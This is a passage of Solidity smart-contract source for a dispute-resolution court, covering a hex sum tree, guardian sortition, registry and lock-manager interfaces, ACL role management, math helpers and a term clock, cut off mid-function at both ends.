self.nodes[_level][_key].get(_time); } /** * @dev Tell the value of a certain node indexed by a given (level,key) pair at a given point in time * It uses a linear search starting from the end. * @param _level Level of the node querying the value of * @param _key Key of the node querying the value of * @param _time Point in time to query the value of the requested node */ function getRecentNodeAt(Tree storage self, uint256 _level, uint256 _key, uint64 _time) internal view returns (uint256) { return self.nodes[_level][_key].getRecent(_time); } /** * @dev Tell the height of the tree */ function getHeight(Tree storage self) internal view returns (uint256) { return self.height.getLast(); } /** * @dev Tell the height of the tree at a given point in time * It uses a linear search starting from the end. * @param _time Point in time to query the height of the tree */ function getRecentHeightAt(Tree storage self, uint64 _time) internal view returns (uint256) { return self.height.getRecent(_time); } /** * @dev Private function to update the values of all the ancestors of the given leaf node based on the delta updated * @param _key Key of the leaf node to update the ancestors of * @param _time Point in time to update the ancestors' values of the given leaf node * @param _delta Numeric delta to update the ancestors' values of the given leaf node * @param _positive Boolean to tell whether the given delta should be added to or subtracted from ancestors' values */ function _updateSums(Tree storage self, uint256 _key, uint64 _time, uint256 _delta, bool _positive) private { uint256 mask = uint256(-1); uint256 ancestorKey = _key; uint256 currentHeight = getHeight(self); for (uint256 level = ITEMS_LEVEL + 1; level <= currentHeight; level++) { // Build a mask to get the key of the ancestor at a certain level. For example: // Level 0: leaves don't have children // Level 1: 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0 (up to 16 leaves) // Level 2: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 (up to 32 leaves) // ... // Level 63: 0x0000000000000000000000000000000000000000000000000000000000000000 (up to 16^64 leaves - tree max height) mask = mask << BITS_IN_NIBBLE; // The key of the ancestor at that level "i" is equivalent to the "(64 - i)-th" most significant nibbles // of the ancestor's key of the previous level "i - 1". Thus, we can compute the key of an ancestor at a // certain level applying the mask to the ancestor's key of the previous level. Note that for the first // iteration, the key of the ancestor of the previous level is simply the key of the leaf being updated. ancestorKey = ancestorKey & mask; // Update value uint256 lastValue = getNode(self, level, ancestorKey); uint256 newValue = _positive ? lastValue.add(_delta) : lastValue.sub(_delta); _add(self, level, ancestorKey, _time, newValue); } // Check if there was an overflow. Note that we only need to check the value stored in the root since the // sum only increases going up through the tree. require(!_positive || getNode(self, currentHeight, ancestorKey) >= _delta, ERROR_UPDATE_OVERFLOW); } /** * @dev Private function to add a new level to the tree based on a new key that will be inserted * @param _newKey New key willing to be inserted in the tree * @param _time Point in time when the new key will be inserted */ function _addLevelIfNecessary(Tree storage self, uint256 _newKey, uint64 _time) private { uint256 currentHeight = getHeight(self); if (_shouldAddLevel(currentHeight, _newKey)) { // Max height allowed for the tree is 64 since we are using node keys of 32 bytes. However, note that we // are not checking if said limit has been hit when inserting new leaves to the tree, for the purpose of // this system having 2^256 items inserted is unrealistic. uint256 newHeight = currentHeight + 1; uint256 rootValue = getNode(self, currentHeight, BASE_KEY); _add(self, newHeight, BASE_KEY, _time, rootValue); self.height.add(_time, newHeight); } } /** * @dev Private function to register a new value in the history of a node at a given point in time * @param _level Level of the node to add a new value at a given point in time to * @param _key Key of the node to add a new value at a given point in time to * @param _time Point in time to register a value for the given node * @param _value Numeric value to be registered for the given node at a given point in time */ function _add(Tree storage self, uint256 _level, uint256 _key, uint64 _time, uint256 _value) private { self.nodes[_level][_key].add(_time, _value); } /** * @dev Recursive pre-order traversal function * Every time it checks a node, it traverses the input array to find the initial subset of elements that are * below its accumulated value and passes that sub-array to the next iteration. Actually, the array is always * the same, to avoid making extra copies, it just passes the number of values already found , to avoid * checking values that went through a different branch. The same happens with the result lists of keys and * values, these are the same on every recursion step. The visited total is carried over each iteration to * avoid having to subtract all elements in the array. * @param _values Ordered list of values to be searched in the tree * @param _params Search parameters for the current recursive step * @param _resultKeys List of keys found for each requested value in the same order * @param _resultValues List of node values found for each requested value in the same order */ function _search( Tree storage self, uint256[] memory _values, SearchParams memory _params, uint256[] memory _resultKeys, uint256[] memory _resultValues ) private view { uint256 levelKeyLessSignificantNibble = _params.level.mul(BITS_IN_NIBBLE); for (uint256 childNumber = 0; childNumber < CHILDREN; childNumber++) { // Return if we already found enough values if (_params.foundValues >= _values.length) { break; } // Build child node key shifting the child number to the position of the less significant nibble of // the keys for the level being analyzed, and adding it to the key of the parent node. For example, // for a tree with height 5, if we are checking the children of the second node of the level 3, whose // key is 0x0000000000000000000000000000000000000000000000000000000000001000, its children keys are: // Child 0: 0x0000000000000000000000000000000000000000000000000000000000001000 // Child 1: 0x0000000000000000000000000000000000000000000000000000000000001100 // Child 2: 0x0000000000000000000000000000000000000000000000000000000000001200 // ... // Child 15: 0x0000000000000000000000000000000000000000000000000000000000001f00 uint256 childNodeKey = _params.parentKey.add(childNumber << levelKeyLessSignificantNibble); uint256 childNodeValue = getRecentNodeAt(self, _params.level, childNodeKey, _params.time); // Check how many values belong to the subtree of this node. As they are ordered, it will be a contiguous // subset starting from the beginning, so we only need to know the length of that subset. uint256 newVisitedTotal = _params.visitedTotal.add(childNodeValue); uint256 subtreeIncludedValues = _getValuesIncludedInSubtree(_values, _params.foundValues, newVisitedTotal); // If there are some values included in the subtree of the child node, visit them if (subtreeIncludedValues > 0) { // If the child node being analyzed is a leaf, add it to the list of results a number of times equals // to the number of values that were included in it. Otherwise, descend one level. if (_params.level == ITEMS_LEVEL) { _copyFoundNode(_params.foundValues, subtreeIncludedValues, childNodeKey, _resultKeys, childNodeValue, _resultValues); } else { SearchParams memory nextLevelParams = SearchParams( _params.time, _params.level - 1, // No need for SafeMath: we already checked above that the level being checked is greater than zero childNodeKey, _params.foundValues, _params.visitedTotal ); _search(self, _values, nextLevelParams, _resultKeys, _resultValues); } // Update the number of values that were already found _params.foundValues = _params.foundValues.add(subtreeIncludedValues); } // Update the visited total for the next node in this level _params.visitedTotal = newVisitedTotal; } } /** * @dev Private function to check if a new key can be added to the tree based on the current height of the tree * @param _currentHeight Current height of the tree to check if it supports adding the given key * @param _newKey Key willing to be added to the tree with the given current height * @return True if the current height of the tree should be increased to add the new key, false otherwise. */ function _shouldAddLevel(uint256 _currentHeight, uint256 _newKey) private pure returns (bool) { // Build a mask that will match all the possible keys for the given height. For example: // Height 1: 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0 (up to 16 keys) // Height 2: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 (up to 32 keys) // ... // Height 64: 0x0000000000000000000000000000000000000000000000000000000000000000 (up to 16^64 keys - tree max height) uint256 shift = _currentHeight.mul(BITS_IN_NIBBLE); uint256 mask = uint256(-1) << shift; // Check if the given key can be represented in the tree with the current given height using the mask. return (_newKey & mask) != 0; } /** * @dev Private function to tell how many values of a list can be found in a subtree * @param _values List of values being searched in ascending order * @param _foundValues Number of values that were already found and should be ignore * @param _subtreeTotal Total sum of the given subtree to check the numbers that are included in it * @return Number of values in the list that are included in the given subtree */ function _getValuesIncludedInSubtree(uint256[] memory _values, uint256 _foundValues, uint256 _subtreeTotal) private pure returns (uint256) { // Look for all the values that can be found in the given subtree uint256 i = _foundValues; while (i < _values.length && _values[i] < _subtreeTotal) { i++; } return i - _foundValues; } /** * @dev Private function to copy a node a given number of times to a results list. This function assumes the given * results list have enough size to support the requested copy. * @param _from Index of the results list to start copying the given node * @param _times Number of times the given node will be copied * @param _key Key of the node to be copied * @param _resultKeys Lists of key results to copy the given node key to * @param _value Value of the node to be copied * @param _resultValues Lists of value results to copy the given node value to */ function _copyFoundNode( uint256 _from, uint256 _times, uint256 _key, uint256[] memory _resultKeys, uint256 _value, uint256[] memory _resultValues ) private pure { for (uint256 i = 0; i < _times; i++) { _resultKeys[_from + i] = _key; _resultValues[_from + i] = _value; } } } /** * @title GuardiansTreeSortition - Library to perform guardians sortition over a `HexSumTree` */ library GuardiansTreeSortition { using SafeMath for uint256; using HexSumTree for HexSumTree.Tree; string private constant ERROR_INVALID_INTERVAL_SEARCH = "TREE_INVALID_INTERVAL_SEARCH"; string private constant ERROR_SORTITION_LENGTHS_MISMATCH = "TREE_SORTITION_LENGTHS_MISMATCH"; /** * @dev Search random items in the tree based on certain restrictions * @param _termRandomness Randomness to compute the seed for the draft * @param _disputeId Identification number of the dispute to draft guardians for * @param _termId Current term when the draft is being computed * @param _selectedGuardians Number of guardians already selected for the draft * @param _batchRequestedGuardians Number of guardians to be selected in the given batch of the draft * @param _roundRequestedGuardians Total number of guardians requested to be drafted * @param _sortitionIteration Number of sortitions already performed for the given draft * @return guardiansIds List of guardian ids obtained based on the requested search * @return guardiansBalances List of active balances for each guardian obtained based on the requested search */ function batchedRandomSearch( HexSumTree.Tree storage tree, bytes32 _termRandomness, uint256 _disputeId, uint64 _termId, uint256 _selectedGuardians, uint256 _batchRequestedGuardians, uint256 _roundRequestedGuardians, uint256 _sortitionIteration ) internal view returns (uint256[] memory guardiansIds, uint256[] memory guardiansBalances) { (uint256 low, uint256 high) = getSearchBatchBounds( tree, _termId, _selectedGuardians, _batchRequestedGuardians, _roundRequestedGuardians ); uint256[] memory balances = _computeSearchRandomBalances( _termRandomness, _disputeId, _sortitionIteration, _batchRequestedGuardians, low, high ); (guardiansIds, guardiansBalances) = tree.search(balances, _termId); require(guardiansIds.length == guardiansBalances.length, ERROR_SORTITION_LENGTHS_MISMATCH); require(guardiansIds.length == _batchRequestedGuardians, ERROR_SORTITION_LENGTHS_MISMATCH); } /** * @dev Get the bounds for a draft batch based on the active balances of the guardians * @param _termId Term ID of the active balances that will be used to compute the boundaries * @param _selectedGuardians Number of guardians already selected for the draft * @param _batchRequestedGuardians Number of guardians to be selected in the given batch of the draft * @param _roundRequestedGuardians Total number of guardians requested to be drafted * @return low Low bound to be used for the sortition to draft the requested number of guardians for the given batch * @return high High bound to be used for the sortition to draft the requested number of guardians for the given batch */ function getSearchBatchBounds( HexSumTree.Tree storage tree, uint64 _termId, uint256 _selectedGuardians, uint256 _batchRequestedGuardians, uint256 _roundRequestedGuardians ) internal view returns (uint256 low, uint256 high) { uint256 totalActiveBalance = tree.getRecentTotalAt(_termId); low = _selectedGuardians.mul(totalActiveBalance).div(_roundRequestedGuardians); uint256 newSelectedGuardians = _selectedGuardians.add(_batchRequestedGuardians); high = newSelectedGuardians.mul(totalActiveBalance).div(_roundRequestedGuardians); } /** * @dev Get a random list of active balances to be searched in the guardians tree for a given draft batch * @param _termRandomness Randomness to compute the seed for the draft * @param _disputeId Identification number of the dispute to draft guardians for (for randomness) * @param _sortitionIteration Number of sortitions already performed for the given draft (for randomness) * @param _batchRequestedGuardians Number of guardians to be selected in the given batch of the draft * @param _lowBatchBound Low bound to be used for the sortition batch to draft the requested number of guardians * @param _highBatchBound High bound to be used for the sortition batch to draft the requested number of guardians * @return Random list of active balances to be searched in the guardians tree for the given draft batch */ function _computeSearchRandomBalances( bytes32 _termRandomness, uint256 _disputeId, uint256 _sortitionIteration, uint256 _batchRequestedGuardians, uint256 _lowBatchBound, uint256 _highBatchBound ) internal pure returns (uint256[] memory) { // Calculate the interval to be used to search the balances in the tree. Since we are using a modulo function to compute the // random balances to be searched, intervals will be closed on the left and open on the right, for example [0,10). require(_highBatchBound > _lowBatchBound, ERROR_INVALID_INTERVAL_SEARCH); uint256 interval = _highBatchBound - _lowBatchBound; // Compute an ordered list of random active balance to be searched in the guardians tree uint256[] memory balances = new uint256[](_batchRequestedGuardians); for (uint256 batchGuardianNumber = 0; batchGuardianNumber < _batchRequestedGuardians; batchGuardianNumber++) { // Compute a random seed using: // - The inherent randomness associated to the term from blockhash // - The disputeId, so 2 disputes in the same term will have different outcomes // - The sortition iteration, to avoid getting stuck if resulting guardians are dismissed due to locked balance // - The guardian number in this batch bytes32 seed = keccak256(abi.encodePacked(_termRandomness, _disputeId, _sortitionIteration, batchGuardianNumber)); // Compute a random active balance to be searched in the guardians tree using the generated seed within the // boundaries computed for the current batch. balances[batchGuardianNumber] = _lowBatchBound.add(uint256(seed) % interval); // Make sure it's ordered, flip values if necessary for (uint256 i = batchGuardianNumber; i > 0 && balances[i] < balances[i - 1]; i--) { uint256 tmp = balances[i - 1]; balances[i - 1] = balances[i]; balances[i] = tmp; } } return balances; } } /* * SPDX-License-Identifier: MIT */ interface ILockManager { /** * @dev Tell whether a user can unlock a certain amount of tokens */ function canUnlock(address user, uint256 amount) external view returns (bool); } /* * SPDX-License-Identifier: MIT */ interface IGuardiansRegistry { /** * @dev Assign a requested amount of guardian tokens to a guardian * @param _guardian Guardian to add an amount of tokens to * @param _amount Amount of tokens to be added to the available balance of a guardian */ function assignTokens(address _guardian, uint256 _amount) external; /** * @dev Burn a requested amount of guardian tokens * @param _amount Amount of tokens to be burned */ function burnTokens(uint256 _amount) external; /** * @dev Draft a set of guardians based on given requirements for a term id * @param _params Array containing draft requirements: * 0. bytes32 Term randomness * 1. uint256 Dispute id * 2. uint64 Current term id * 3. uint256 Number of seats already filled * 4. uint256 Number of seats left to be filled * 5. uint64 Number of guardians required for the draft * 6. uint16 Permyriad of the minimum active balance to be locked for the draft * * @return guardians List of guardians selected for the draft * @return length Size of the list of the draft result */ function draft(uint256[7] calldata _params) external returns (address[] memory guardians, uint256 length); /** * @dev Slash a set of guardians based on their votes compared to the winning ruling * @param _termId Current term id * @param _guardians List of guardian addresses to be slashed * @param _lockedAmounts List of amounts locked for each corresponding guardian that will be either slashed or returned * @param _rewardedGuardians List of booleans to tell whether a guardian's active balance has to be slashed or not * @return Total amount of slashed tokens */ function slashOrUnlock(uint64 _termId, address[] calldata _guardians, uint256[] calldata _lockedAmounts, bool[] calldata _rewardedGuardians) external returns (uint256 collectedTokens); /** * @dev Try to collect a certain amount of tokens from a guardian for the next term * @param _guardian Guardian to collect the tokens from * @param _amount Amount of tokens to be collected from the given guardian and for the requested term id * @param _termId Current term id * @return True if the guardian has enough unlocked tokens to be collected for the requested term, false otherwise */ function collectTokens(address _guardian, uint256 _amount, uint64 _termId) external returns (bool); /** * @dev Lock a guardian's withdrawals until a certain term ID * @param _guardian Address of the guardian to be locked * @param _termId Term ID until which the guardian's withdrawals will be locked */ function lockWithdrawals(address _guardian, uint64 _termId) external; /** * @dev Tell the active balance of a guardian for a given term id * @param _guardian Address of the guardian querying the active balance of * @param _termId Term ID querying the active balance for * @return Amount of active tokens for guardian in the requested past term id */ function activeBalanceOfAt(address _guardian, uint64 _termId) external view returns (uint256); /** * @dev Tell the total amount of active guardian tokens at the given term id * @param _termId Term ID querying the total active balance for * @return Total amount of active guardian tokens at the given term id */ function totalActiveBalanceAt(uint64 _termId) external view returns (uint256); } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/IsContract.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules contract IsContract { /* * NOTE: this should NEVER be used for authentication * (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize). * * This is only intended to be used as a sanity check that an address is actually a contract, * RATHER THAN an address not being a contract. */ function isContract(address _target) internal view returns (bool) { if (_target == address(0)) { return false; } uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } contract ACL { string private constant ERROR_BAD_FREEZE = "ACL_BAD_FREEZE"; string private constant ERROR_ROLE_ALREADY_FROZEN = "ACL_ROLE_ALREADY_FROZEN"; string private constant ERROR_INVALID_BULK_INPUT = "ACL_INVALID_BULK_INPUT"; enum BulkOp { Grant, Revoke, Freeze } address internal constant FREEZE_FLAG = address(1); address internal constant ANY_ADDR = address(-1); // List of all roles assigned to different addresses mapping (bytes32 => mapping (address => bool)) public roles; event Granted(bytes32 indexed id, address indexed who); event Revoked(bytes32 indexed id, address indexed who); event Frozen(bytes32 indexed id); /** * @dev Tell whether an address has a role assigned * @param _who Address being queried * @param _id ID of the role being checked * @return True if the requested address has assigned the given role, false otherwise */ function hasRole(address _who, bytes32 _id) public view returns (bool) { return roles[_id][_who] || roles[_id][ANY_ADDR]; } /** * @dev Tell whether a role is frozen * @param _id ID of the role being checked * @return True if the given role is frozen, false otherwise */ function isRoleFrozen(bytes32 _id) public view returns (bool) { return roles[_id][FREEZE_FLAG]; } /** * @dev Internal function to grant a role to a given address * @param _id ID of the role to be granted * @param _who Address to grant the role to */ function _grant(bytes32 _id, address _who) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); require(_who != FREEZE_FLAG, ERROR_BAD_FREEZE); if (!hasRole(_who, _id)) { roles[_id][_who] = true; emit Granted(_id, _who); } } /** * @dev Internal function to revoke a role from a given address * @param _id ID of the role to be revoked * @param _who Address to revoke the role from */ function _revoke(bytes32 _id, address _who) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); if (hasRole(_who, _id)) { roles[_id][_who] = false; emit Revoked(_id, _who); } } /** * @dev Internal function to freeze a role * @param _id ID of the role to be frozen */ function _freeze(bytes32 _id) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); roles[_id][FREEZE_FLAG] = true; emit Frozen(_id); } /** * @dev Internal function to enact a bulk list of ACL operations */ function _bulk(BulkOp[] memory _op, bytes32[] memory _id, address[] memory _who) internal { require(_op.length == _id.length && _op.length == _who.length, ERROR_INVALID_BULK_INPUT); for (uint256 i = 0; i < _op.length; i++) { BulkOp op = _op[i]; if (op == BulkOp.Grant) { _grant(_id[i], _who[i]); } else if (op == BulkOp.Revoke) { _revoke(_id[i], _who[i]); } else if (op == BulkOp.Freeze) { _freeze(_id[i]); } } } } contract ModuleIds { // DisputeManager module ID - keccak256(abi.encodePacked("DISPUTE_MANAGER")) bytes32 internal constant MODULE_ID_DISPUTE_MANAGER = 0x14a6c70f0f6d449c014c7bbc9e68e31e79e8474fb03b7194df83109a2d888ae6; // GuardiansRegistry module ID - keccak256(abi.encodePacked("GUARDIANS_REGISTRY")) bytes32 internal constant MODULE_ID_GUARDIANS_REGISTRY = 0x8af7b7118de65da3b974a3fd4b0c702b66442f74b9dff6eaed1037254c0b79fe; // Voting module ID - keccak256(abi.encodePacked("VOTING")) bytes32 internal constant MODULE_ID_VOTING = 0x7cbb12e82a6d63ff16fe43977f43e3e2b247ecd4e62c0e340da8800a48c67346; // PaymentsBook module ID - keccak256(abi.encodePacked("PAYMENTS_BOOK")) bytes32 internal constant MODULE_ID_PAYMENTS_BOOK = 0xfa275b1417437a2a2ea8e91e9fe73c28eaf0a28532a250541da5ac0d1892b418; // Treasury module ID - keccak256(abi.encodePacked("TREASURY")) bytes32 internal constant MODULE_ID_TREASURY = 0x06aa03964db1f7257357ef09714a5f0ca3633723df419e97015e0c7a3e83edb7; } interface IModulesLinker { /** * @notice Update the implementations of a list of modules * @param _ids List of IDs of the modules to be updated * @param _addresses List of module addresses to be updated */ function linkModules(bytes32[] calldata _ids, address[] calldata _addresses) external; } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/math/SafeMath64.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules /** * @title SafeMath64 * @dev Math operations for uint64 with safety checks that revert on error */ library SafeMath64 { string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint64 _a, uint64 _b) internal pure returns (uint64) { uint256 c = uint256(_a) * uint256(_b); require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way) return uint64(c); } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint64 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint64 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint64 _a, uint64 _b) internal pure returns (uint64) { uint64 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/Uint256Helpers.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules library Uint256Helpers { uint256 private constant MAX_UINT8 = uint8(-1); uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_UINT8_NUMBER_TOO_BIG = "UINT8_NUMBER_TOO_BIG"; string private constant ERROR_UINT64_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint8(uint256 a) internal pure returns (uint8) { require(a <= MAX_UINT8, ERROR_UINT8_NUMBER_TOO_BIG); return uint8(a); } function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_UINT64_NUMBER_TOO_BIG); return uint64(a); } } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/TimeHelpers.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules contract TimeHelpers { using Uint256Helpers for uint256; /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @dev Returns the current block number, converted to uint64. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber64() internal view returns (uint64) { return getBlockNumber().toUint64(); } /** * @dev Returns the current timestamp. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp() internal view returns (uint256) { return block.timestamp; // solium-disable-line security/no-block-members } /** * @dev Returns the current timestamp, converted to uint64. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp64() internal view returns (uint64) { return getTimestamp().toUint64(); } } interface IClock { /** * @dev Ensure that the current term of the clock is up-to-date * @return Identification number of the current term */ function ensureCurrentTerm() external returns (uint64); /** * @dev Transition up to a certain number of terms to leave the clock up-to-date * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the term ID after executing the heartbeat transitions */ function heartbeat(uint64 _maxRequestedTransitions) external returns (uint64); /** * @dev Ensure that a certain term has its randomness set * @return Randomness of the current term */ function ensureCurrentTermRandomness() external returns (bytes32); /** * @dev Tell the last ensured term identification number * @return Identification number of the last ensured term */ function getLastEnsuredTermId() external view returns (uint64); /** * @dev Tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function getCurrentTermId() external view returns (uint64); /** * @dev Tell the number of terms the clock should transition to be up-to-date * @return Number of terms the clock should transition to be up-to-date */ function getNeededTermTransitions() external view returns (uint64); /** * @dev Tell the information related to a term based on its ID * @param _termId ID of the term being queried * @return startTime Term start time * @return randomnessBN Block number used for randomness in the requested term * @return randomness Randomness computed for the requested term */ function getTerm(uint64 _termId) external view returns (uint64 startTime, uint64 randomnessBN, bytes32 randomness); /** * @dev Tell the randomness of a term even if it wasn't computed yet * @param _termId Identification number of the term being queried * @return Randomness of the requested term */ function getTermRandomness(uint64 _termId) external view returns (bytes32); } contract CourtClock is IClock, TimeHelpers { using SafeMath64 for uint64; string private constant ERROR_TERM_DOES_NOT_EXIST = "CLK_TERM_DOES_NOT_EXIST"; string private constant ERROR_TERM_DURATION_TOO_LONG = "CLK_TERM_DURATION_TOO_LONG"; string private constant ERROR_TERM_RANDOMNESS_NOT_YET = "CLK_TERM_RANDOMNESS_NOT_YET"; string private constant ERROR_TERM_RANDOMNESS_UNAVAILABLE = "CLK_TERM_RANDOMNESS_UNAVAILABLE"; string private constant ERROR_BAD_FIRST_TERM_START_TIME = "CLK_BAD_FIRST_TERM_START_TIME"; string private constant ERROR_TOO_MANY_TRANSITIONS = "CLK_TOO_MANY_TRANSITIONS"; string private constant ERROR_INVALID_TRANSITION_TERMS = "CLK_INVALID_TRANSITION_TERMS"; string private constant ERROR_CANNOT_DELAY_STARTED_COURT = "CLK_CANNOT_DELAY_STARTED_PROT"; string private constant ERROR_CANNOT_DELAY_PAST_START_TIME = "CLK_CANNOT_DELAY_PAST_START_TIME"; // Maximum number of term transitions a callee may have to assume in order to call certain functions that require the Court being up-to-date uint64 internal constant MAX_AUTO_TERM_TRANSITIONS_ALLOWED = 1; // Max duration in seconds that a term can last uint64 internal constant MAX_TERM_DURATION = 365 days; // Max time until first term starts since contract is deployed uint64 internal constant MAX_FIRST_TERM_DELAY_PERIOD = 2 * MAX_TERM_DURATION; struct Term { uint64 startTime; // Timestamp when the term started uint64 randomnessBN; // Block number for entropy bytes32 randomness; // Entropy from randomnessBN block hash } // Duration in seconds for each term of the Court uint64 private termDuration; // Last ensured term id uint64 private termId; // List of Court terms indexed by id mapping (uint64 => Term) private terms; event Heartbeat(uint64 previousTermId, uint64 currentTermId); event StartTimeDelayed(uint64 previousStartTime, uint64 currentStartTime); /** * @dev Ensure a certain term has already been processed * @param _termId Identification number of the term to be checked */ modifier termExists(uint64 _termId) { require(_termId <= termId, ERROR_TERM_DOES_NOT_EXIST); _; } /** * @dev Constructor function * @param _termParams Array containing: * 0. _termDuration Duration in seconds per term * 1. _firstTermStartTime Timestamp in seconds when the court will open (to give time for guardian on-boarding) */ constructor(uint64[2] memory _termParams) public { uint64 _termDuration = _termParams[0]; uint64 _firstTermStartTime = _termParams[1]; require(_termDuration < MAX_TERM_DURATION, ERROR_TERM_DURATION_TOO_LONG); require(_firstTermStartTime >= getTimestamp64() + _termDuration, ERROR_BAD_FIRST_TERM_START_TIME); require(_firstTermStartTime <= getTimestamp64() + MAX_FIRST_TERM_DELAY_PERIOD, ERROR_BAD_FIRST_TERM_START_TIME); termDuration = _termDuration; // No need for SafeMath: we already checked values above terms[0].startTime = _firstTermStartTime - _termDuration; } /** * @notice Ensure that the current term of the Court is up-to-date. If the Court is outdated by more than `MAX_AUTO_TERM_TRANSITIONS_ALLOWED` * terms, the heartbeat function must be called manually instead. * @return Identification number of the current term */ function ensureCurrentTerm() external returns (uint64) { return _ensureCurrentTerm(); } /** * @notice Transition up to `_maxRequestedTransitions` terms * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the term ID after executing the heartbeat transitions */ function heartbeat(uint64 _maxRequestedTransitions) external returns (uint64) { return _heartbeat(_maxRequestedTransitions); } /** * @notice Ensure that a certain term has its randomness set. As we allow to draft disputes requested for previous terms, if there * were mined more than 256 blocks for the current term, the blockhash of its randomness BN is no longer available, given * round will be able to be drafted in the following term. * @return Randomness of the current term */ function ensureCurrentTermRandomness() external returns (bytes32) { // If the randomness for the given term was already computed, return uint64 currentTermId = termId; Term storage term = terms[currentTermId]; bytes32 termRandomness = term.randomness; if (termRandomness != bytes32(0)) { return termRandomness; } // Compute term randomness bytes32 newRandomness = _computeTermRandomness(currentTermId); require(newRandomness != bytes32(0), ERROR_TERM_RANDOMNESS_UNAVAILABLE); term.randomness = newRandomness; return newRandomness; } /** * @dev Tell the term duration of the Court * @return Duration in seconds of the Court term */ function getTermDuration() external view returns (uint64) { return termDuration; } /** * @dev Tell the last ensured term identification number * @return Identification number of the last ensured term */ function getLastEnsuredTermId() external view returns (uint64) { return _lastEnsuredTermId(); } /** * @dev Tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function getCurrentTermId() external view returns (uint64) { return _currentTermId(); } /** * @dev Tell the number of terms the Court should transition to be up-to-date * @return Number of terms the Court should transition to be up-to-date */ function getNeededTermTransitions() external view returns (uint64) { return _neededTermTransitions(); } /** * @dev Tell the information related to a term based on its ID. Note that if the term has not been reached, the * information returned won't be computed yet. This function allows querying future terms that were not computed yet. * @param _termId ID of the term being queried * @return startTime Term start time * @return randomnessBN Block number used for randomness in the requested term * @return randomness Randomness computed for the requested term */ function getTerm(uint64 _termId) external view returns (uint64 startTime, uint64 randomnessBN, bytes32 randomness) { Term storage term = terms[_termId]; return (term.startTime, term.randomnessBN, term.randomness); } /** * @dev Tell the randomness of a term even if it wasn't computed yet * @param _termId Identification number of the term being queried * @return Randomness of the requested term */ function getTermRandomness(uint64 _termId) external view termExists(_termId) returns (bytes32) { return _computeTermRandomness(_termId); } /** * @dev Internal function to ensure that the current term of the Court is up-to-date. If the Court is outdated by more than * `MAX_AUTO_TERM_TRANSITIONS_ALLOWED` terms, the heartbeat function must be called manually. * @return Identification number of the resultant term ID after executing the corresponding transitions */ function _ensureCurrentTerm() internal returns (uint64) { // Check the required number of transitions does not exceeds the max allowed number to be processed automatically uint64 requiredTransitions = _neededTermTransitions(); require(requiredTransitions <= MAX_AUTO_TERM_TRANSITIONS_ALLOWED, ERROR_TOO_MANY_TRANSITIONS); // If there are no transitions pending, return the last ensured term id if (uint256(requiredTransitions) == 0) { return termId; } // Process transition if there is at least one pending return _heartbeat(requiredTransitions); } /** * @dev Internal function to transition the Court terms up to a requested number of terms * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the resultant term ID after executing the requested transitions */ function _heartbeat(uint64 _maxRequestedTransitions) internal returns (uint64) { // Transition the minimum number of terms between the amount requested and the amount actually needed uint64 neededTransitions = _neededTermTransitions(); uint256 transitions = uint256(_maxRequestedTransitions < neededTransitions ? _maxRequestedTransitions : neededTransitions); require(transitions > 0, ERROR_INVALID_TRANSITION_TERMS); uint64 blockNumber = getBlockNumber64(); uint64 previousTermId = termId; uint64 currentTermId = previousTermId; for (uint256 transition = 1; transition <= transitions; transition++) { // Term IDs are incremented by one based on the number of time periods since the Court started. Since time is represented in uint64, // even if we chose the minimum duration possible for a term (1 second), we can ensure terms will never reach 2^64 since time is // already assumed to 